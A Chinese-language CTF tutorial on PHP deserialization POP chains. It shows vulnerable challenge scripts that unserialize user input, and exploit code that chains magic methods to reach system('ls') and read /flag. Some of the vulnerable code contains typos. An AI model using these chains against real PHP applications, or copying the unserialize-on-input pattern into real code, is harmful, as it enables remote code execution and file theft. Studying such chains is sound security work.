1.魔术方法:PHP之十六个魔术方法详解(总结)-php教程-PHP中文网
2.适合做POP链起点的魔术方法:__destruct、__wakeup
3.私有属性和保护属性的初始化方法,在类中定义__construct魔术方法,实例化对象时传入需要初始化的内容即可。
<?php
class BBB {
protected $name;
public function __construct($name){
$this->name=$name;
}
}
$a=new BBB('bob');
var_dump ($a);
//object(BBB)#1 (1) {
// ["name":protected]=>
// string(3) "bob"
//}
?>
4.在较新版本的php中,一个类中若要调用一个类的方法需要声明"(new XXX())->xxx()", 低版本则是XXX::xxx,X为类名,x为方法名。
5.涉及私有属性和保护属性需urlencode序列化内容。
<?php
highlight_file(_FILE_):
error_reporting(O):
class AAA {
private $cmd;
public function _destruct()
{
echo "This is cmd :".$this->cmd;
}
public function _invoke()
{
system($this->cmd);
}
}
class BBB {
protected $name;
public function _toString()
{
return $this -> name ->obj;
}
}
class EEE{
public $var;
public function _get($var){
{
($this->var)();
}
unserialize($_POST['pop'];
pop链讲解的文章有很多,具体链条的形成不多讲解,这里就重点演示一下__destruct魔术方法的触发和实例化对象的初始化,首先链条是:AAA(__destruct)->BBB(__toString)->EEE(_get)->AAA(__invoke),exp如下:
<?php
class AAA {
private $cmd;
public function __construct($cmd){
$this->cmd=$cmd;
}
}
class BBB {
protected $name;
public function __construct($name){
$this->name=$name;
}
}
class EEE {
public $var;
public function __construct($var){
$this->var=$var;
}
}
echo urlencode(serialize(new AAA(new BBB(new EEE(new AAA("ls"))))));
当序列化的内容被反序列化时,由于unserialize($_POST['pop'];为程序结尾的位置,所以会调用__destruct魔术方法,触发pop链。
<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function backdoor($key){
if($key == "GoodJob"){
readfile("/flag");
}else{
die("Bad Job!");
}
}
}
class SQLi{
public $func;
public $var;
public function hello(){
echo "You Touch Me";
}
public function bye(){
$fun = $this->func;
$fun($this->var);
}
}
class Test{
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
}
class Reader{
public $name;
public $obj;
public function __destruct(){
if(!preg_match("/CTF/i",$this->name)){
echo "NoNoNo";
}else{
system("whoami");
}
}
public function bye(){
echo "Let's say goodbye with a smile";
}
public function __call($func,$var){
if($func == "hello"){
$this->obj->bye();
}
}
}
class Lua{
public $hard;
public $p;
public function __construct(){
$this->p = array();
}
public function __toString(){
($this->hard)();
return "Bad times make a good man.";
}
public function __get($key){
$function = $this->p;
return $function();
}
}
class Json{
public $format;
public function __invoke(){
$this->format->hello();
}
public function __construct(){
$this->format = array();
}
}
if(isset($_GET['exp'])){
$o = unserialize($_GET['exp']);
throw new Exception("So Easy!");
}
这里重点讲__destruct魔术方法的触发和跨类调用方法,首先pop链是:Reader(__destruct)->Lua(__toString)->Json(__invoke)->Reader(__call)->SQli(bye())->Evil(backdoor()),exp如下:
<?php
class SQLi{
public $func;
public $var;
}
class Reader{
public $name;
public $obj;
}
class Lua{
public $hard;
}
class Json{
public $format;
}
$a = new Reader;
$a -> name = new Lua;
$a -> name -> hard = new Json;
$a -> name -> hard -> format = new Reader;
$a -> name -> hard -> format -> obj = new SQLi;
// 解法一:静态调用backdoor方法
$a -> name -> hard -> format -> obj -> var = "GoodJob";
$a -> name -> hard -> format -> obj -> func = "(new Evil())->backdoor()";
// 解法二:动态调用函数读文件
//$a -> name -> hard -> format -> obj -> var = "/flag";
//$a -> name -> hard -> format -> obj -> func = "readfile";
echo serialize($a);
注意到在SQLi中调用Evil的backdoor的声明 func = "(new Evil())->backdoor()" ,区别高低版本的不同。另外,序列化的内容被反序列化后 $o = unserialize($_GET['exp']);执行结束后。即函数结束,函数中的参数类被销毁,此时触发__destruct,启动pop链。另外还可以调用readfile函数。